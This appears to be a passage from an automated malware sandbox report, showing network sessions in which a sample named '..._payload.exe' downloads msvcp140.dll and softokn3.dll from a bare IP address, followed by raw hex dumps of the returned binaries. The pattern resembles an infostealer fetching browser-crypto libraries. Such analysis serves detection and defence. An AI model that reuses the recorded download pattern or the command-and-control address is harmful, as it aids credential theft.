2024-08-04 00:21:22 UTC	16384	IN	Data Raw: fe 83 e0 01 09 c8 89 42 04 89 13 8d 44 24 58 e9 75 ff ff ff c7 44 24 3c 00 00 00 00 8b 5c 24 04 e9 a5 fe ff ff 31 d2 a8 10 0f 44 54 24 18 31 c9 39 f2 0f 97 c0 0f 82 e1 fe ff ff 88 c1 e9 d5 fe ff ff b0 01 e9 ec fd ff ff 8b 46 04 83 f8 01 0f 87 13 01 00 00 89 f2 8b 06 31 c9 85 c0 8b 74 24 1c 0f 84 39 04 00 00 8b 48 04 83 e1 fe 89 0a 89 d1 83 e1 fe 89 54 24 04 8b 50 04 83 e2 01 09 ca 89 50 04 8b 54 24 04 8b 52 04 83 e2 01 09 ca 89 50 04 8b 4c 24 04 80 49 04 01 83 60 04 01 89 c1 e9 fb 03 00 00 c7 44 24 28 00 00 00 00 e9 f9 fd ff ff 8d 74 24 54 89 f1 e8 37 0b fe ff 8b 1e e9 47 ff ff ff 83 e3 fe 89 58 04 89 d6 8b 1a 85 db 0f 84 fb 01 00 00 8b 43 04 83 e0 fe 89 06 89 f0 83 e0 fe 8b 4b 04 83 e1 01 09 c1 89 4b 04 8b 4e 04 89 c8 83 e0 fe 0f 84 c0 01 00 00 8b 10 83 Data Ascii: BD$XuD$<\$1DT$19F1t$9HT$PPT$RPL$I`D$(t$T7GXCKKN
2024-08-04 00:21:22 UTC	16384	IN	Data Raw: 00 00 00 0f 44 4c 24 04 31 db 39 c1 0f 97 c1 72 d1 88 cb 8b 50 04 83 e2 fe eb cc 83 e3 fe 89 1a 89 d6 83 e6 fe 8b 18 8b 48 04 83 e1 01 09 f1 89 48 04 85 db 0f 84 8d 0a 00 00 80 63 04 fe 8b 74 24 14 39 16 75 07 89 06 e9 69 ff ff ff 83 e0 fe 8b 56 04 83 e2 01 8d 0c 02 89 4e 04 85 c0 0f 84 25 0a 00 00 8b 08 83 e1 fe 09 d1 89 4e 04 89 30 8b 4e 04 83 e1 01 8b 50 04 83 e2 fe 09 ca 89 50 04 80 4e 04 01 85 ff 0f 84 1f 0a 00 00 39 37 0f 84 a0 05 00 00 e9 e0 05 00 00 8b 4c 24 1c 8b 19 89 d9 ba 00 f0 ff ff 21 d1 8b 70 08 21 d6 31 d2 39 f1 0f 97 c2 b9 ff ff ff ff 0f 42 d1 85 d2 0f 85 59 05 00 00 e9 c0 05 00 00 89 c1 85 d2 0f 85 c2 fe ff ff 8b 54 24 04 c7 02 00 00 00 00 8b 4c 24 08 c7 44 b1 14 01 00 00 00 83 fb 01 0f 84 17 02 00 00 89 10 8b 54 24 20 8b 44 24 48 85 c0 Data Ascii: DL$19rPHHct$9uiVN%N0NPPN97L$!p!19BYT$L$DT$ D$H

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49749	168.119.176.241	443	6448	C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-04 00:21:24 UTC	246	OUT	GET /msvcp140.dll HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36 Host: 168.119.176.241 Connection: Keep-Alive Cache-Control: no-cache
2024-08-04 00:21:24 UTC	260	IN	HTTP/1.1 200 OK Server: nginx Date: Sun, 04 Aug 2024 00:21:24 GMT Content-Type: application/octet-stream Content-Length: 450024 Connection: close Last-Modified: Sunday, 04-Aug-2024 00:21:24 GMT Cache-Control: no-store, no-cache Accept-Ranges: bytes
2024-08-04 00:21:24 UTC	16124	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_
2024-08-04 00:21:24 UTC	16384	IN	Data Raw: 2d 00 62 00 61 00 00 00 68 00 72 00 2d 00 68 00 72 00 00 00 68 00 75 00 2d 00 68 00 75 00 00 00 68 00 79 00 2d 00 61 00 6d 00 00 00 69 00 64 00 2d 00 69 00 64 00 00 00 69 00 73 00 2d 00 69 00 73 00 00 00 69 00 74 00 2d 00 63 00 68 00 00 00 69 00 74 00 2d 00 69 00 74 00 00 00 6a 00 61 00 2d 00 6a 00 70 00 00 00 6b 00 61 00 2d 00 67 00 65 00 00 00 6b 00 6b 00 2d 00 6b 00 7a 00 00 00 6b 00 6e 00 2d 00 69 00 6e 00 00 00 6b 00 6f 00 2d 00 6b 00 72 00 00 00 6b 00 6f 00 6b 00 2d 00 69 00 6e 00 00 00 00 00 6b 00 79 00 2d 00 6b 00 67 00 00 00 6c 00 74 00 2d 00 6c 00 74 00 00 00 6c 00 76 00 2d 00 6c 00 76 00 00 00 6d 00 69 00 2d 00 6e 00 7a 00 00 00 6d 00 6b 00 2d 00 6d 00 6b 00 00 00 6d 00 6c 00 2d 00 69 00 6e 00 00 00 6d 00 6e 00 2d 00 6d 00 6e 00 00 00 6d 00 72 Data Ascii: -bahr-hrhu-huhy-amid-idis-isit-chit-itja-jpka-gekk-kzkn-inko-krkok-inky-kglt-ltlv-lvmi-nzmk-mkml-inmn-mnmr
2024-08-04 00:21:24 UTC	16384	IN	Data Raw: 04 00 00 00 04 8b 00 10 18 8b 00 10 78 8a 00 10 e8 7b 00 10 04 7c 00 10 00 00 00 00 d8 4c 06 10 03 00 00 00 00 00 00 00 ff ff ff ff 00 00 00 00 40 00 00 00 f4 8a 00 10 00 00 00 00 01 00 00 00 04 00 00 00 44 8b 00 10 58 8b 00 10 a0 7d 00 10 30 7d 00 10 dc 7d 00 10 00 00 00 00 14 4d 06 10 03 00 00 00 00 00 00 00 ff ff ff ff 00 00 00 00 40 00 00 00 34 8b 00 10 00 00 00 00 01 00 00 00 04 00 00 00 84 8b 00 10 98 8b 00 10 a0 7d 00 10 30 7d 00 10 dc 7d 00 10 00 00 00 00 34 4d 06 10 03 00 00 00 00 00 00 00 ff ff ff ff 00 00 00 00 40 00 00 00 74 8b 00 10 00 00 00 00 00 00 00 00 00 00 00 00 58 4d 06 10 c8 8b 00 10 00 00 00 00 01 00 00 00 04 00 00 00 d8 8b 00 10 ec 8b 00 10 a0 7d 00 10 30 7d 00 10 dc 7d 00 10 00 00 00 00 58 4d 06 10 03 00 00 00 00 00 00 00 ff ff ff Data Ascii: x{\|L@DX}0}}M@4}0}}4M@tXM}0}}XM
2024-08-04 00:21:24 UTC	16384	IN	Data Raw: 0f bf 45 fc d9 5d e8 d9 45 10 d9 45 e8 d9 c0 89 45 f4 de ea d9 c9 d9 5d e8 d9 45 e8 d9 55 10 d9 ee da e9 df e0 f6 c4 44 7b 05 dd d8 d9 45 10 8d 45 ec 50 8d 45 f8 50 d9 5d ec e8 fc fa ff ff 59 59 3b f3 0f 8c aa fd ff ff eb 10 8d 4e 01 d9 1c b7 3b cb 7d 06 d9 ee d9 5c b7 04 5e 8b c7 5f 5b c9 c3 55 8b ec 51 56 33 f6 39 75 14 7e 37 d9 ee 57 8b 7d 10 d9 04 b7 d9 5d fc d9 45 fc dd e1 df e0 dd d9 f6 c4 44 7b 1a 51 d9 1c 24 ff 75 0c ff 75 08 e8 97 fc ff ff d9 ee 83 c4 0c 46 3b 75 14 7c d2 dd d8 5f 8b 45 08 5e c9 c3 55 8b ec 51 51 8b 4d 0c 85 c9 75 04 d9 ee c9 c3 8b 55 08 83 f9 01 0f 84 9d 00 00 00 d9 02 d9 5d fc d9 45 fc d9 ee dd e1 df e0 f6 c4 44 0f 8b 82 00 00 00 d9 42 04 d9 5d fc d9 45 fc dd e1 df e0 f6 c4 44 7b 6e 83 f9 02 74 5d d9 42 08 d9 5d fc d9 45 fc dd Data Ascii: E]EEE]EUD{EEPEP]YY;N;}\^_[UQV39u~7W}]ED{Q$uuF;u\|_E^UQQMuU]EDB]ED{nt]B]E
2024-08-04 00:21:24 UTC	16384	IN	Data Raw: 0f b7 06 83 f8 61 74 05 83 f8 41 75 0f 03 f7 0f b7 06 66 3b c1 74 0e 66 3b c2 74 09 8b 45 08 33 db 8b 30 eb 43 03 f7 6a 04 5b 89 75 f8 66 83 3e 28 89 5d f4 75 32 8b de 03 df 68 07 01 00 00 0f b7 03 50 ff 15 ac 72 06 10 59 59 85 c0 75 e9 0f b7 03 83 f8 5f 74 e1 89 5d f8 8b 5d f4 83 f8 29 75 06 8b 75 f8 83 c6 02 8b 45 0c 85 c0 74 02 89 30 8b 45 08 5f 89 30 8b c3 5e 5b c9 c3 55 8b ec 83 ec 48 a1 c0 41 06 10 33 c5 89 45 fc 6b 4d 18 07 33 d2 8b 45 10 53 8b 5d 14 56 8b 75 0c 89 75 d0 89 45 b8 89 55 bc 89 55 c4 89 55 c0 89 4d cc 57 8b fa 83 f9 23 7e 06 6a 23 59 89 4d cc 6a 30 58 89 13 89 53 04 66 39 06 75 12 c7 45 c4 01 00 00 00 83 c6 02 66 39 06 74 f8 89 75 d0 0f b7 0e b8 b8 2d 00 10 89 4d c8 8b 4d cc c7 45 d4 16 00 00 00 8b 75 c8 66 39 30 8b 75 d0 74 0b 83 c0 Data Ascii: atAuf;tf;tE30Cj[uf>(]u2hPrYYu_t]])uuEt0E_0^[UHA3EkM3ES]VuuEUUUMW#~j#YMj0XSf9uEf9tu-MMEuf90ut
2024-08-04 00:21:24 UTC	16384	IN	Data Raw: 03 8d 41 1c c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 55 8b ec 6a ff 68 09 e7 03 10 64 a1 00 00 00 00 50 a1 c0 41 06 10 33 c5 50 8d 45 f4 64 a3 00 00 00 00 e8 79 7b 00 00 50 e8 71 d8 ff ff 59 8b 40 0c 8b 4d f4 64 89 0d 00 00 00 00 59 c9 c3 cc cc 55 8b ec 83 79 38 00 8b 45 08 75 03 83 c8 04 ff 75 0c 50 e8 28 00 00 00 5d c2 08 00 cc cc cc cc 55 8b ec 6a 00 ff 75 08 e8 13 00 00 00 5d c2 04 00 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 55 8b ec 8b 45 08 83 ec 1c 83 e0 17 89 41 0c 8b 49 10 56 23 c8 74 43 80 7d 0c 00 75 42 f6 c1 04 74 07 be 78 54 00 10 eb 0f be 90 54 00 10 f6 c1 02 75 05 be a8 54 00 10 8d 45 f8 6a 01 50 e8 f7 13 00 00 59 59 50 56 8d 4d e4 e8 bc e2 ff ff 68 a4 1a 04 10 8d 45 e4 50 eb 09 5e c9 c2 08 00 6a 00 6a 00 e8 f0 93 02 00 cc 53 57 Data Ascii: AUjhdPA3PEdy{PqY@MdYUy8EuuP(]Uju]UEAIV#tC}uBtxTTuTEjPYYPVMhEP^jjSW
2024-08-04 00:21:24 UTC	16384	IN	Data Raw: 89 45 fc 89 5f 10 e8 bd 54 02 00 8b 45 f8 83 c4 10 c6 04 1e 00 83 f8 10 72 0b 40 50 ff 37 e8 54 95 ff ff 59 59 89 37 8b c7 5f 5e 5b c9 c2 0c 00 e8 b3 be ff ff cc 55 8b ec 83 ec 0c 8b 55 08 b8 ff ff ff 7f 53 8b d9 56 57 8b 4b 10 2b c1 89 4d fc 3b c2 72 69 8b 43 14 8d 3c 11 57 8b cb 89 45 f4 e8 88 b1 ff ff 8b f0 8d 4e 01 51 e8 b2 94 ff ff 59 ff 75 18 89 7b 10 8d 4d 0c ff 75 14 8b 7d f4 89 45 f8 89 73 14 ff 75 10 ff 75 fc 83 ff 10 72 17 8b 33 56 50 e8 6b 03 00 00 8d 47 01 50 56 e8 d2 94 ff ff 59 59 eb 07 53 50 e8 56 03 00 00 8b 45 f8 5f 89 03 8b c3 5e 5b c9 c2 14 00 e8 25 be ff ff cc 55 8b ec 83 ec 10 8b 55 08 b8 ff ff ff 7f 53 8b d9 56 57 8b 4b 10 2b c1 89 4d f0 3b c2 0f 82 8f 00 00 00 8b 43 14 8d 3c 11 57 8b cb 89 45 fc e8 f6 b0 ff ff 8b f0 8d 4e 01 51 e8 Data Ascii: E_TEr@P7TYY7_^[UUSVWK+M;riC<WENQYu{Mu}Esuur3VPkGPVYYSPVE_^[%UUSVWK+M;C<WENQ
2024-08-04 00:21:24 UTC	16384	IN	Data Raw: 01 75 04 3b d7 74 3a 8b 5d 08 6a 04 59 89 4d d4 53 33 c0 03 04 cb 52 13 7c cb 04 56 57 50 e8 f1 02 02 00 5b 8b 5d 08 8b f9 8b 4d d4 8b 75 d8 89 54 cb 04 8b 55 e8 89 04 cb 83 e9 01 89 4d d4 79 cf 5f 5e 5b c9 c3 55 8b ec 51 56 8b 75 14 33 d2 85 f6 7e 5f 53 8b 5d 08 29 5d 10 57 8b fb 89 75 fc 8b 5d 10 8b 0c 3b 03 0f 8b 44 3b 04 13 47 04 03 ca 89 0f 8d 7f 08 83 d0 00 8b d0 89 57 fc 83 67 fc 00 83 ee 01 75 dc 0b c6 8b 5d 08 74 22 8b 4d fc 3b 4d 0c 7d 1a 01 14 cb 8b 54 cb 04 13 d6 33 f6 89 54 cb 04 8b c2 21 74 cb 04 41 0b c6 75 e1 5f 5b 5e c9 c3 55 8b ec 8b 55 08 56 8b 75 0c 83 c2 f8 8d 14 f2 8b 02 0b 42 04 75 0b 8d 52 f8 4e 8b 0a 0b 4a 04 74 f5 8b c6 5e 5d c3 55 8b ec 53 56 33 db 33 f6 39 5d 0c 7e 30 57 8b 7d 08 ff 75 14 ff 75 10 ff 74 f7 04 ff 34 f7 e8 73 03 Data Ascii: u;t:]jYMS3R\|VWP[]MuTUMy_^[UQVu3~_S])]Wu];D;GWgu]t"M;M}T3T!tAu_[^UUVuBuRNJt^]USV339]~0W}uut4s
2024-08-04 00:21:24 UTC	16384	IN	Data Raw: cc cc cc cc 55 8b ec 51 8b 45 0c 56 8b f1 89 75 fc 89 46 04 c7 06 7c 69 00 10 83 66 08 00 ff 15 d0 72 06 10 6a 00 89 46 08 ff 15 90 71 06 10 59 8b c6 5e c9 c2 08 00 cc cc cc cc cc cc cc cc cc cc cc cc cc 55 8b ec 51 8b 45 0c 56 8b f1 89 75 fc 89 46 04 c7 06 e8 65 00 10 83 66 08 00 ff 15 d0 72 06 10 6a 00 89 46 08 ff 15 90 71 06 10 59 8b c6 5e c9 c2 08 00 56 8b f1 ff 76 0c c7 06 4c 68 00 10 ff 15 90 71 06 10 59 c7 06 28 52 00 10 5e c3 56 8b f1 ff 76 0c c7 06 8c 66 00 10 ff 15 90 71 06 10 59 c7 06 28 52 00 10 5e c3 cc cc cc cc cc cc cc 56 8b f1 c7 06 50 69 00 10 e8 e2 71 00 00 c7 06 28 52 00 10 5e c3 cc cc cc cc cc cc cc cc cc cc 56 8b f1 c7 06 90 67 00 10 e8 c2 71 00 00 c7 06 28 52 00 10 5e c3 cc cc cc cc cc cc cc cc cc cc 56 8b f1 ff 76 08 c7 06 7c 69 00 Data Ascii: UQEVuF\|ifrjFqY^UQEVuFefrjFqY^VvLhqY(R^VvfqY(R^VPiq(R^Vgq(R^Vv\|i
2024-08-04 00:21:24 UTC	16384	IN	Data Raw: 73 00 00 84 c0 0f 85 d3 00 00 00 8b 5d ec 80 7f 04 00 75 07 8b cf e8 85 26 00 00 0f b7 47 06 50 ff b5 74 ff ff ff e8 9a a8 ff ff 59 59 83 f8 0a 73 3c 8a 80 2c 6a 00 10 8b 4d 8c 88 85 64 ff ff ff ff b5 64 ff ff ff e8 5f 18 ff ff 8b 4d d8 8d 45 d8 83 fb 10 72 02 8b c1 80 3c 30 7f 74 4c 8d 45 d8 83 fb 10 72 02 8b c1 fe 04 30 eb 3a 8d 45 d8 83 fb 10 72 03 8b 45 d8 80 3c 30 00 74 45 80 7f 04 00 0f b7 47 06 75 0b 8b cf e8 10 26 00 00 0f b7 47 06 66 3b 85 60 ff ff ff 75 27 6a 00 8d 4d d8 e8 04 18 ff ff 46 8b 5d ec 8b cf e8 24 11 00 00 ff 75 98 8b cf e8 de 72 00 00 84 c0 0f 84 4a ff ff ff 8b 5d 90 85 f6 74 13 83 7d ec 10 8d 45 d8 72 03 8b 45 d8 80 3c 30 00 7e 52 46 8a 45 a7 83 7d d4 10 8d 55 c0 72 03 8b 55 c0 84 c0 75 49 85 f6 74 5e 8a 0a 80 f9 7f 74 57 83 ee 01 Data Ascii: s]u&GPtYYs<,jMdd_MEr<0tLEr0:ErE<0tEGu&Gf;`u'jMF]$urJ]t}ErE<0~RFE}UrUuIt^tW

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49751	168.119.176.241	443	6448	C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-04 00:21:26 UTC	246	OUT	GET /softokn3.dll HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36 Host: 168.119.176.241 Connection: Keep-Alive Cache-Control: no-cache
2024-08-04 00:21:26 UTC	260	IN	HTTP/1.1 200 OK Server: nginx Date: Sun, 04 Aug 2024 00:21:26 GMT Content-Type: application/octet-stream Content-Length: 257872 Connection: close Last-Modified: Sunday, 04-Aug-2024 00:21:26 GMT Cache-Control: no-store, no-cache Accept-Ranges: bytes
2024-08-04 00:21:26 UTC	16124	IN	Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSw
2024-08-04 00:21:26 UTC	16384	IN	Data Raw: 85 f0 fe ff ff 00 00 00 00 8d 85 ec fe ff ff 89 85 f4 fe ff ff c7 85 f8 fe ff ff 04 00 00 00 8d 85 f0 fe ff ff 6a 01 50 53 57 e8 85 af 00 00 83 c4 10 89 c6 85 c0 75 3f 8b 85 ec fe ff ff 83 c0 fd 83 f8 01 77 25 be 30 00 00 00 83 3d 28 9a 03 10 00 75 23 83 3d 50 90 03 10 00 74 0e be 01 01 00 00 f6 05 20 9a 03 10 01 74 0c 53 57 e8 e2 b9 00 00 83 c4 08 89 c6 83 3d 2c 9a 03 10 00 0f 84 5e ff ff ff 8b 85 ec fe ff ff 83 c0 fe 83 f8 02 0f 87 4c ff ff ff 56 53 57 68 85 6b 03 10 68 00 01 00 00 8d 85 f0 fe ff ff 50 ff 15 1c 7c 03 10 83 c4 18 e9 2a ff ff ff cc cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 81 ec 08 01 00 00 a1 14 90 03 10 31 e8 89 45 f0 c7 85 ec fe ff ff 00 00 00 00 be 30 00 00 00 83 3d 28 9a 03 10 00 74 17 8b 4d f0 31 e9 e8 28 8b 02 00 89 f0 81 Data Ascii: jPSWu?w%0=(u#=Pt tSW=,^LVSWhkhP\|*USWV1E0=(tM1(
2024-08-04 00:21:26 UTC	16384	IN	Data Raw: 03 45 dc 56 8d 4d ec 51 50 57 e8 55 9e ff ff 83 c4 10 85 c0 0f 85 6b 03 00 00 57 e8 c4 9d ff ff 83 c4 04 ff 75 e8 53 57 e8 f7 9d ff ff 83 c4 0c ff 75 e8 8d 45 e8 50 53 57 e8 26 9e ff ff 83 c4 10 85 c0 0f 85 3c 03 00 00 8b 4d c8 83 c1 01 8b 75 e4 8b 45 dc 01 f0 3b 4d c0 0f 85 6c ff ff ff 31 f6 e9 20 03 00 00 31 f6 ff 35 30 9a 03 10 ff 15 f0 7b 03 10 83 c4 04 a1 34 9a 03 10 85 c0 74 15 6a 01 50 e8 57 4e 02 00 83 c4 08 c7 05 34 9a 03 10 00 00 00 00 a1 38 9a 03 10 85 c0 74 15 6a 01 50 e8 39 4e 02 00 83 c4 08 c7 05 38 9a 03 10 00 00 00 00 a1 3c 9a 03 10 85 c0 74 15 6a 01 50 e8 1b 4e 02 00 83 c4 08 c7 05 3c 9a 03 10 00 00 00 00 56 e8 e8 4d 02 00 83 c4 04 a3 34 9a 03 10 8b 47 38 a3 40 9a 03 10 8b 47 28 a3 44 9a 03 10 8b 47 2c a3 48 9a 03 10 8d 47 04 50 e8 bf 4d Data Ascii: EVMQPWUkWuSWuEPSW&<MuE;Ml1 150{4tjPWN48tjP9N8<tjPN<VM4G8@G(DG,HGPM
2024-08-04 00:21:26 UTC	16384	IN	Data Raw: 88 41 02 0f b6 41 03 d1 e8 8a 80 68 f9 02 10 88 41 03 0f b6 41 04 d1 e8 8a 80 68 f9 02 10 88 41 04 0f b6 41 05 d1 e8 8a 80 68 f9 02 10 88 41 05 0f b6 41 06 d1 e8 8a 80 68 f9 02 10 88 41 06 0f b6 41 07 d1 e8 8a 80 68 f9 02 10 88 41 07 ba 01 01 01 01 8b 31 31 d6 33 51 04 b8 01 00 00 00 09 f2 0f 84 37 01 00 00 ba 1f 1f 1f 1f 33 11 be 0e 0e 0e 0e 33 71 04 09 d6 0f 84 20 01 00 00 ba e0 e0 e0 e0 33 11 be f1 f1 f1 f1 33 71 04 09 d6 0f 84 09 01 00 00 ba fe fe fe fe 8b 31 31 d6 33 51 04 09 f2 0f 84 f5 00 00 00 ba 01 fe 01 fe 8b 31 31 d6 33 51 04 09 f2 0f 84 e1 00 00 00 ba fe 01 fe 01 8b 31 31 d6 33 51 04 09 f2 0f 84 cd 00 00 00 ba 1f e0 1f e0 33 11 be 0e f1 0e f1 33 71 04 09 d6 0f 84 b6 00 00 00 ba e0 1f e0 1f 33 11 be f1 0e f1 0e 33 71 04 09 d6 0f 84 9f 00 00 00 Data Ascii: AAhAAhAAhAAhAAhA113Q733q 33q113Q113Q113Q33q33q
2024-08-04 00:21:26 UTC	16384	IN	Data Raw: 84 30 07 00 00 83 7b 08 14 0f 84 43 01 00 00 e9 21 07 00 00 3d 50 06 00 00 0f 8f aa 01 00 00 3d 51 05 00 00 74 2d 3d 52 05 00 00 74 12 3d 55 05 00 00 0f 85 0a 07 00 00 c7 47 0c 01 00 00 00 83 7b 04 00 0f 84 ec 06 00 00 83 7b 08 10 0f 85 e2 06 00 00 c7 47 18 10 00 00 00 83 7c 24 24 25 0f 85 fb 07 00 00 6a 11 ff 74 24 30 e8 44 c7 00 00 83 c4 08 85 c0 0f 84 78 09 00 00 89 c7 31 c0 81 3b 51 05 00 00 0f 95 c0 ff 77 1c 8b 4d 20 51 50 ff 73 04 ff 77 18 e8 09 1e ff ff 83 c4 14 8b 4c 24 28 89 41 64 57 e8 a9 c6 00 00 83 c4 04 8b 44 24 28 83 78 64 00 0f 84 bf 08 00 00 83 7d 20 00 b9 60 2a 00 10 ba 20 2a 00 10 0f 44 d1 89 50 74 c7 80 84 00 00 00 e0 29 00 10 e9 eb 08 00 00 3d 09 21 00 00 0f 8e 1c 02 00 00 3d 0a 21 00 00 0f 84 08 02 00 00 3d 0b 21 00 00 0f 84 23 02 00 Data Ascii: 0{C!=P=Qt-=Rt=UG{{G\|$$%jt$0Dx1;QwM QPswL$(AdWD$(xd} `* *DPt)=!=!=!#
2024-08-04 00:21:26 UTC	16384	IN	Data Raw: 5d c3 cc cc 55 89 e5 53 57 56 83 ec 10 a1 14 90 03 10 31 e8 89 45 f0 ff 75 08 e8 35 ab 00 00 83 c4 04 85 c0 74 5f 89 c6 8b 78 38 bb 91 00 00 00 85 ff 74 56 83 3f 03 75 51 8b 4d 18 8b 47 04 83 7d 14 00 74 59 8b 5d 0c 85 c0 74 64 89 ce 8b 4d 08 89 da 6a 03 ff 75 10 e8 47 fa ff ff 83 c4 08 89 c3 85 c0 75 24 56 ff 75 14 ff 75 08 e8 72 fd ff ff 83 c4 0c 89 c6 8b 4d f0 31 e9 e8 a3 8b 01 00 89 f0 eb 11 bb b3 00 00 00 8b 4d f0 31 e9 e8 90 8b 01 00 89 d8 83 c4 10 5e 5f 5b 5d c3 85 c0 74 06 83 7f 68 00 74 5a 81 c7 90 00 00 00 eb 55 8b 01 89 45 e8 8b 47 64 89 45 e4 8b 4f 74 ff 15 00 a0 03 10 8d 45 ec ff 75 10 53 ff 75 e8 50 ff 75 14 ff 75 e4 ff d1 83 c4 18 85 c0 74 32 e8 a1 8d 01 00 50 e8 eb 84 00 00 83 c4 04 8b 55 ec 8b 4d 18 89 11 bb 50 01 00 00 3d 50 01 00 00 74 Data Ascii: ]USWV1Eu5t_x8tV?uQMG}tY]tdMjuGu$VuurM1M1^_[]thtZUEGdEOtEuSuPuut2PUMP=Pt
2024-08-04 00:21:26 UTC	16384	IN	Data Raw: 75 20 85 f6 7e 7a 8b 7d 1c 83 c7 08 c7 45 d8 00 00 00 00 c7 45 d4 04 00 00 00 eb 18 0f 1f 84 00 00 00 00 00 8b 47 fc 8b 00 89 45 d8 83 c7 0c 83 c6 ff 74 5a 8b 47 f8 85 c0 74 19 3d 61 01 00 00 74 e2 8b 4f fc eb 15 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 00 8b 4f fc 8b 11 89 55 d4 ff 37 51 50 ff 75 dc e8 8c 53 00 00 83 c4 10 85 c0 74 bd 89 c3 e9 80 01 00 00 bf 02 00 00 00 e9 83 01 00 00 c7 45 d4 04 00 00 00 c7 45 d8 00 00 00 00 8b 45 10 8b 4d 0c 83 ec 1c 0f 28 05 40 fb 02 10 0f 11 44 24 0c 89 44 24 08 89 4c 24 04 8b 45 08 89 04 24 e8 fe 7c ff ff 83 c4 1c 85 c0 74 0c 89 c3 ff 75 dc e8 7d 5a 00 00 eb 3d 8b 7d 18 8b 5d 14 57 e8 8b 4d 01 00 83 c4 04 89 c6 89 7d ec 8d 45 ec 50 56 57 53 ff 75 08 e8 e8 9a ff ff 83 c4 14 85 c0 74 26 89 c3 ff 75 dc e8 47 5a 00 00 83 c4 Data Ascii: u ~z}EEGEtZGt=atOf.OU7QPuStEEEM(@D$D$L$E$\|tu}Z=}]WM}EPVWSut&uGZ
2024-08-04 00:21:26 UTC	16384	IN	Data Raw: 75 08 e8 4d 2b 00 00 83 c4 04 85 c0 74 51 8b 48 38 b8 91 00 00 00 85 c9 74 4a 83 39 02 75 45 83 79 04 00 74 3f 8b 55 0c 8b 59 6c 83 c3 08 89 1f 31 c0 85 d2 74 2e b8 50 01 00 00 39 de 72 25 8b 01 89 02 8b 41 70 89 42 04 83 c2 08 ff 71 6c ff 71 64 52 e8 cc 0f 01 00 83 c4 0c 31 c0 eb 05 b8 b3 00 00 00 5e 5f 5b 5d c3 cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 83 ec 10 8b 7d 10 a1 14 90 03 10 31 e8 89 45 f0 85 ff 0f 84 2d 01 00 00 8b 5d 0c 8b 33 ff 75 08 e8 b5 2a 00 00 83 c4 04 b9 b3 00 00 00 85 c0 0f 84 12 01 00 00 83 fe 0a 0f 87 f7 00 00 00 b9 78 06 00 00 0f a3 f1 73 12 8d 48 38 eb 1a 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 00 b9 83 01 00 00 0f a3 f1 73 e4 8d 48 34 8b 09 83 fe 0a 77 2f ba 78 06 00 00 0f a3 f2 73 12 83 c0 38 eb 1a 66 2e 0f 1f 84 00 00 00 Data Ascii: uM+tQH8tJ9uEyt?UYl1t.P9r%ApBqlqdR1^_[]USWV}1E-]3u*xsH8f.sH4w/xs8f.
